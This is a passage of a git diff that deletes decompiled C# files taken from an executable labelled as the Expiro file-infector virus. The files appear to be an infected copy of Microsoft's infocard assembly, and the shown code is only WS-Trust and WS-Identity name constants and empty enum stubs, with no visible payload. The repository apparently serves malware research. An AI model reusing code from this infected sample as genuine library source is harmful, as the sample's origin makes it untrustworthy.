"http://schemas.xmlsoap.org/ws/2005/05/identity/fault"; - public const string FaultRefreshRequired = "InformationCardRefreshRequired"; - public const string FaultMissingAppliesTo = "MissingAppliesTo"; - public const string FaultInvalidProofKey = "InvalidProofKey"; - public const string FaultUnknownReference = "UnknownInformationCardReference"; - public const string FaultRequiredClaims = "FailedRequiredClaims"; - public static readonly Uri SelfIssuerUriValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self"); - public static readonly Uri AnonymousIssuerUriValue = new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"); - public static readonly Uri NoProofKeyTypeValue = new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey"); - - private WSIdentity() - { - } - } - - internal sealed class WSIdentity07 - { - public const string DefaultPrefix = "wsid07"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2007/01/identity"; - public const string LocalSchemaLocation = "ws-identity-2007.xsd"; - public const string IssuerInformation = "IssuerInformation"; - public const string IssuerInformationEntry = "IssuerInformationEntry"; - public const string EntryName = "EntryName"; - public const string EntryValue = "EntryValue"; - public const string RequireStrongRPIdentity = "RequireStrongRecipientIdentity"; - - private WSIdentity07() - { - } - } - - internal sealed class WSTrust - { - public const string DefaultPrefix = "wst"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string SchemaLocation = "http://schemas.xmlsoap.org/ws/2005/02/trust/ws-trust.xsd"; - public const string LocalSchemaLocation = "ws-trust.xsd"; - public const string ClaimsElement = "Claims"; - public const string TokenType = "TokenType"; - public const string EncryptWith = "EncryptWith"; - public const string CustomToken = "customToken"; - public const string Context = "Context"; - public const string KeyType = "KeyType"; - public const string KeySize = "KeySize"; - public const string UseKey = "UseKey"; - public const string SigAttribute = "Sig"; - public const string RequestSecurityToken = "RequestSecurityToken"; - public const string RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string RequestedSecurityToken = "RequestedSecurityToken"; - public const string RequestedProofToken = "RequestedProofToken"; - public const string RequestSecurityTokenResponse = "RequestSecurityTokenResponse"; - public const string Lifetime = "Lifetime"; - public const string RequestedAttachedReference = "RequestedAttachedReference"; - public const string RequestedUnattachedReference = "RequestedUnattachedReference"; - public const string Entropy = "Entropy"; - public const string ComputedKey = "ComputedKey"; - public const string AuthenticationType = "AuthenticationType"; - public const string SignatureAlgorithm = "SignatureAlgorithm"; - public const string EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string SignWith = "SignWith"; - public const string ComputedKeyAlgorithm = "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1"; - public const string RequestType = "RequestType"; - public const string IssueRequestType = "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue"; - public static readonly Uri KeyTypeSymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey"); - public static readonly Uri KeyTypeAsymmetric = new Uri("http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey"); - - private WSTrust() - { - } - } - - internal interface IWSTrust : XmlNames.IWSSpecification - { - string DefaultPrefix { get; } - - string Namespace { get; } - - string SchemaLocation { get; } - - string LocalSchemaLocation { get; } - - string ClaimsElement { get; } - - string TokenType { get; } - - string EncryptWith { get; } - - string CustomToken { get; } - - string Context { get; } - - string KeyType { get; } - - string KeySize { get; } - - string UseKey { get; } - - string SigAttribute { get; } - - string RequestSecurityToken { get; } - - string RequestSecurityTokenAction { get; } - - string RequestSecurityTokenResponseAction { get; } - - string RequestedSecurityToken { get; } - - string RequestedProofToken { get; } - - string RequestSecurityTokenResponse { get; } - - string RequestSecurityTokenResponseCollection { get; } - - string Lifetime { get; } - - string RequestedAttachedReference { get; } - - string RequestedUnattachedReference { get; } - - string Entropy { get; } - - string ComputedKey { get; } - - string AuthenticationType { get; } - - string SignatureAlgorithm { get; } - - string EncryptionAlgorithm { get; } - - string CanonicalizationAlgorithm { get; } - - string SignWith { get; } - - string ComputedKeyAlgorithm { get; } - - string RequestType { get; } - - string IssueRequestType { get; } - - string SecondaryParameters { get; } - - string KeyWrapAlgorithm { get; } - - string Dialect { get; } - - Uri KeyTypeSymmetric { get; } - - Uri KeyTypeAsymmetric { get; } - - Uri KeyTypeBearer { get; } - } - - internal sealed class WSTrustXmlSoap2005 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://schemas.xmlsoap.org/ws/2005/02/trust"; - public const string c_RequestSecurityTokenAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue"; - public const string c_DefaultPrefix = "wst2005"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustXmlSoap2005 Instance = new XmlNames.WSTrustXmlSoap2005(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustXmlSoap2005.Instance.Namespace + "/PublicKey"); - - private WSTrustXmlSoap2005() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005; - - public string DefaultPrefix => "wst2005"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/02/trust"; - - public string SchemaLocation => this.Namespace + "/ws-trust.xsd"; - - public string LocalSchemaLocation => "ws-trust.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTR/Issue"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string KeyWrapAlgorithm => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSIdentity.NoProofKeyTypeValue; - } - - internal sealed class WSTrustOasis2007 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - public const string c_RequestSecurityTokenAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal"; - public const string c_DefaultPrefix = "wst"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_SecondaryParameters = "SecondaryParameters"; - public const string c_KeyWrapAlgorithm = "KeyWrapAlgorithm"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustOasis2007 Instance = new XmlNames.WSTrustOasis2007(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/PublicKey"); - private static readonly Uri m_KeyTypeBearer = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/Bearer"); - - private WSTrustOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustOasis2007; - - public string DefaultPrefix => "wst"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - - public string SchemaLocation => this.Namespace + "/ws-trust-1.3.xsd"; - - public string LocalSchemaLocation => "ws-trust-1.3.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTRC/IssueFinal"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => nameof (RequestSecurityTokenResponseCollection); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => nameof (SecondaryParameters); - - public string KeyWrapAlgorithm => nameof (KeyWrapAlgorithm); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSTrustOasis2007.m_KeyTypeBearer; - } - - internal sealed class WSTransfer - { - public const string DefaultPrefix = "wxf"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/transfer"; - public const string Create = "Create"; - public const string CreateAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create"; - public const string CreateResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/CreateResponse"; - public const string Get = "Get"; - public const string GetAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Get"; - public const string GetResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse"; - public const string Put = "Put"; - public const string PutAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Put"; - public const string PutResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/PutResponse"; - public const string Delete = "Delete"; - public const string DeleteAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete"; - public const string DeleteResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/DeleteResponse"; - public const string ResourceCreated = "ResourceCreated"; - public const string WSTransferContractName = "WS-Transfer"; - - private WSTransfer() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/NEGOTIATE_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/NEGOTIATE_MESSAGES.cs deleted file mode 100644 index 3c7367ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/NEGOTIATE_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NEGOTIATE_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum NEGOTIATE_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDEXECOPT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDEXECOPT.cs deleted file mode 100644 index dc25db2b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDEXECOPT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDEXECOPT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum OLECMDEXECOPT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDF.cs deleted file mode 100644 index 7be23ea2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDID.cs deleted file mode 100644 index 0cc6db32..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDTEXTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDTEXTF.cs deleted file mode 100644 index 6cbc867c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDTEXTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDTEXTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OLECMDTEXTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OfflineFolderStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OfflineFolderStatus.cs deleted file mode 100644 index bc4ca590..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OfflineFolderStatus.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OfflineFolderStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OfflineFolderStatus -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/PIDMSI_STATUS_VALUE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/PIDMSI_STATUS_VALUE.cs deleted file mode 100644 index e055d9b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/PIDMSI_STATUS_VALUE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PIDMSI_STATUS_VALUE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum PIDMSI_STATUS_VALUE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RESTRICTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RESTRICTIONS.cs deleted file mode 100644 index d8634eba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RESTRICTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RESTRICTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum RESTRICTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RPC_ADDRESS_CHANGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RPC_ADDRESS_CHANGE_TYPE.cs deleted file mode 100644 index 952de97f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RPC_ADDRESS_CHANGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RPC_ADDRESS_CHANGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RPC_ADDRESS_CHANGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RefreshConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RefreshConstants.cs deleted file mode 100644 index b4202efd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RefreshConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RefreshConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RefreshConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ReplacesCorHdrNumericDefines.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ReplacesCorHdrNumericDefines.cs deleted file mode 100644 index ca56b895..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ReplacesCorHdrNumericDefines.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ReplacesCorHdrNumericDefines -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ReplacesCorHdrNumericDefines -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RequireAppliesToStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RequireAppliesToStatus.cs deleted file mode 100644 index 58fa89a9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RequireAppliesToStatus.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RequireAppliesToStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -internal enum RequireAppliesToStatus : byte -{ - NotPresent, - Optional, - Required, -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOCLASS.cs deleted file mode 100644 index 7118d176..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 